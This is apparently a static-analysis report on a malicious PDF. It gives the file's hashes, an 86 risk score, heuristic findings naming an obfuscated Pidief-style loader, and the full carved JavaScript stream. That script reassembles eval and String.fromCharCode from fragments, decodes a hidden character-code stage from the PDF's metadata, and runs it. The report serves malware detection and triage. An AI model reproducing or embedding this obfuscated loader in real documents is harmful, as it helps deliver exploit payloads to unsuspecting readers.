Malicious PDF — malware analysis report

Static analysis result for SHA-256 303372da16b62c40…

MALICIOUS

PDF

44.7 KB Authoring application: substr First seen: 2026-05-09
MD5: d9869de263884200f105657976f0d598 SHA-1: 3119271e70f991315c4d2999ab2750a1755469b2 SHA-256: 303372da16b62c40134e4406328fabfaa618877c1d42e59df694e2e9cf20937f
86 Risk Score

Malware Insights

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of a JavaScript object. The ML classifier strongly flags this PDF as malicious. The embedded JavaScript is likely intended to perform malicious actions, such as downloading a second-stage payload or exploiting vulnerabilities, although the specific actions are not detailed in the provided evidence. The document body text is minimal and does not provide further context.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xB039 449 bytes
SHA-256: c052263e5e77db9e3049aa37551f3a406347e637175dd3a01f2302eb4c9c4633
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
a="e".concat("a","n","b","w",b,"o");
s=a[0].concat(b,a[1],t[0]);
e=v[v]()[s];
iuxgu=e('ti'.concat(v[4],t));
q=iuxgu[v](a.length-6,a.length+2);
gaj=e(v[0].toUpperCase().concat(v[4],'ring.f',q[4],a[6],q));
q=iuxgu[v](t.length+12)[e(v[0]+'ubjec'+v[4])]('c');
k=q['len'.concat('gth')];
i=0;
while(i!=k){
	hbpwh = 1*(q[i]);
	i++;
	hbpwh -= (-1)*(q[i]);
	s2 = s2.concat(gaj(hbpwh));
	i++;
}
e(s2);

Open this report in the interactive analyzer, or submit your own file for analysis.